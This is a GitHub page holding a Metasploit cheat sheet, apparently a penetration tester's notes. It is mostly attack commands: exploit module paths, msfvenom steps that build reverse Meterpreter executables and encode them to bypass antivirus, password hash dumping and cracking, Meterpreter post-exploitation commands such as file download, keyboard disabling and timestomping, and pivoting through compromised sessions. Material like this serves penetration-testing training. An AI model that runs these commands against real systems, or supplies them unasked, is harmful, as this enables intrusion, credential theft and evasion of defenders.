-
Notifications
You must be signed in to change notification settings - Fork 84
/
Copy pathmetasploit
294 lines (204 loc) · 7.31 KB
/
metasploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
https://www.offensive-security.com/metasploit-unleashed/
**Metasploit Console Basics**
[Start the Service]
-> service postgresql start
-> service metasploit start
-> msfconsole
-> msf > db_status
-> msf > workspace -a lab4
[DATABASE]
https://www.offensive-security.com/metasploit-unleashed/using-databases/
-> msf> db_connect postgres:[email protected]/pentester
-> msf> db_nmap -nO -sTU -pT:22,80,111,139,443,32768,U:111,137,32768 [IP]
-> msf>db_import archivo.xml
-> msf> db_export -h
-> msf> db_export -f xml /root/msfu/Exported.xml
-> msf> hosts -c address,os_flavor -S Linux -R
-> msf> hosts -c address,os_flavor
-> Msf> info Windows/smb/ms08_067_netapi
-> msf> hosts -c address,os_flavor -S Linux
-> msf auxiliary(tcp)> hosts -c address,os_flavor -S Linux -R
-> Msf> exploit/windows/browser/ms10_046_shortcut_icon_dllloader
-> Msf> exploit/windows/browser/ms10_002_aurora
-> Msf> Set payload Windows/vncinject/reverse_tcp
-> Msf>ms03_026_dcom/shell_bind_tcp
-> msf > use auxiliary/scanner/portscan/tcpmsf > use auxiliary/scanner/portscan/tcp
-> msf> use post/windows/gather/hashdump
-> msf> post(hashdump) db_export -f pwdump /ksanchez/password.txt
-> msf> post(hashdump) use auxiliary/analyze/jtr_crack_fast
-> msf> use auxiliary/scanner/smb/smb_login
-> Meterpreter> session i 1 :: to get control of the session open on the victim.
-----------------
Windows 2008
-----------------
-> use exploit/windows/smb/ms09_050_smb2_negociate_func_index
----------------
MSF PAYLOAD
----------------
-> msfpayload windows/merterpreter/reverse_tcp LHOST =<Localhost IP> LPORT=<LOCAL PORT> x > /folder/backdoor.exe
--------------
MULTI HANDLER
--------------
->
---------------------
Search for module:
---------------------
-> msf > search [regex]
#Specify and exploit to use:
-> msf > use exploit/[ExploitPath]
#Specify a Payload to use:
-> msf > set PAYLOAD [PayloadPath]
#Show options for the current modules:
-> msf > show options
#Set options:
-> msf > set [Option] [Value]
#Start exploit:
-> msf > exploit
**Useful Auxiliary Modules **
--------------------
***Port Scanner***
--------------------
msf > use auxiliary/scanner/portscan/tcp
msf > set RHOSTS 10.10.10.0/24
msf > run
-----------------------
***DNS Enumeration***
-----------------------
-> msf > use auxiliary/gather/dns_enum
-> msf > set DOMAIN target.tgt
-> msf > run
------------------
***FTP Server***
------------------
-> msf > use auxiliary/server/ftp
-> msf > set FTPROOT /tmp/ftproot
-> msf > run
--------------
#Proxy Server
--------------
-> msf > use auxiliary/server/socks4
-> msf > run
--------------
**msfvenom**
--------------
The msfvenom tool can be used to generate Metasploit payloads (such as Meterpreter) as standalone files and optionally encode them. This tool replaces the former msfpayload and msfencode tools. Run with ‘'-l payloads’ to get a list of payloads.
-> $ msfvenom –p [PayloadPath]
–f [FormatType]
LHOST=[LocalHost (if reverse conn.)]
LPORT=[LocalPort]
#Example
Reverse Meterpreter payload as an executable and redirected into a file:
-> $ msfvenom -p windows/meterpreter/
reverse_tcp -f exe LHOST=10.1.1.1
LPORT=4444 > met.exe
#Format Options (specified with –f)
--help-formats – List available output formats
exe – Executable
pl – Perl
rb – Ruby
raw – Raw shellcode
c – C code
#Encoding Payloads with msfvenom
The msfvenom tool can be used to apply a level of encoding for anti-virus bypass. Run with '-l encoders'
to get a list of encoders.
$ msfvenom -p [Payload] -e [Encoder] -f
[FormatType] -i [EncodeInterations]
LHOST=[LocalHost (if reverse conn.)]
LPORT=[LocalPort]
#Example
Encode a payload from msfpayload 5 times using shikata-ga-nai encoder and output as executable:
$ msfvenom -p windows/meterpreter/
reverse_tcp -i 5 -e x86/shikata_ga_nai -f
exe LHOST=10.1.1.1 LPORT=4444 > mal.exe
**Metasploit Meterpreter**
#Base Commands:
? / help: Display a summary of commands exit / quit: Exit the Meterpreter session
sysinfo: Show the system name and OS type
shutdown / reboot: Self-explanatory
#File System Commands:
cd: Change directory
lcd: Change directory on local (attacker's) machine
pwd / getwd: Display current working directory
ls: Show the contents of the directory
cat: Display the contents of a file on screen
download / upload: Move files to/from the target
machine
mkdir / rmdir: Make / remove directory
edit: Open a file in the default editor (typically vi)
#Process Commands:
getpid: Display the process ID that Meterpreter is
running inside
getuid: Display the user ID that Meterpreter is
running with
ps: Display process list
kill: Terminate a process given its process ID
execute: Run a given program with the privileges
of the process the Meterpreter is loaded in
migrate: Jump to a given destination process ID
- Target process must have same or lesser privileges
- Target process may be a more stable process
- When inside a process, can access any files that
process has a lock on
#Network Commands:
ipconfig: Show network interface information
portfwd: Forward packets through TCP session
route: Manage/view the system's routing table
#Misc Commands:
idletime: Display the duration that the GUI of the
target machine has been idle
uictl [enable/disable] [keyboard/
mouse]: Enable/disable either the mouse or
keyboard of the target machine
screenshot: Save as an image a screenshot of
the target machine
#Additional Modules:
use [module]: Load the specified module
#Example:
use priv: Load the priv module
hashdump: Dump the hashes from the box
timestomp:Alter NTFS file timestamps
-------------------------
**Managing Sessions**
#Multiple Exploitation:
-------------------------
#Run the exploit expecting a single session that is immediately backgrounded:
-> msf > exploit -z
#Run the exploit in the background expecting one or more sessions that are immediately backgrounded:
-> msf > exploit –j
#List all current jobs (usually exploit listeners):
-> msf > jobs –l
#Kill a job:
-> msf > jobs –k [JobID]
---------------------
#Multiple Sessions:
---------------------
#List all backgrounded sessions:
-> msf > sessions -l
#Interact with a backgrounded session:
-> msf > session -i [SessionID]
#Background the current interactive session:
-> meterpreter > <Ctrl+Z>
or
-> meterpreter > background
#Routing Through Sessions:
All modules (exploits/post/aux) against the target
subnet mask will be pivoted through this session.
-> msf > route add [Subnet to Route To]
[Subnet Netmask] [SessionID]
[Modules]
ms08_067_netapi
exploit/windows/smb/psexec
[AUXILIARY]
auxiliary/scanner/portscan/tcp
========================================
Restarting Metasploit Services on Linux
========================================
Open the command line terminal.
Use the cd command to change the directory path to the Metasploit directory location. If you installed Metasploit in the default directory, type the following:
$ cd /opt/metasploit-4.4.0
Note: Replace the version number with your Metasploit version.
Enter the following and press Enter:
$ sudo bash ctlscript.sh restart
Enter your sudo password when the system prompts you for it.
After you enter the sudo password, the system stops and restarts all services associated with Metasploit.
This includes prosvc, thin, and PostgreSQL. After the system restarts the services, wait a few minutes before you access the Metasploit Web Interface.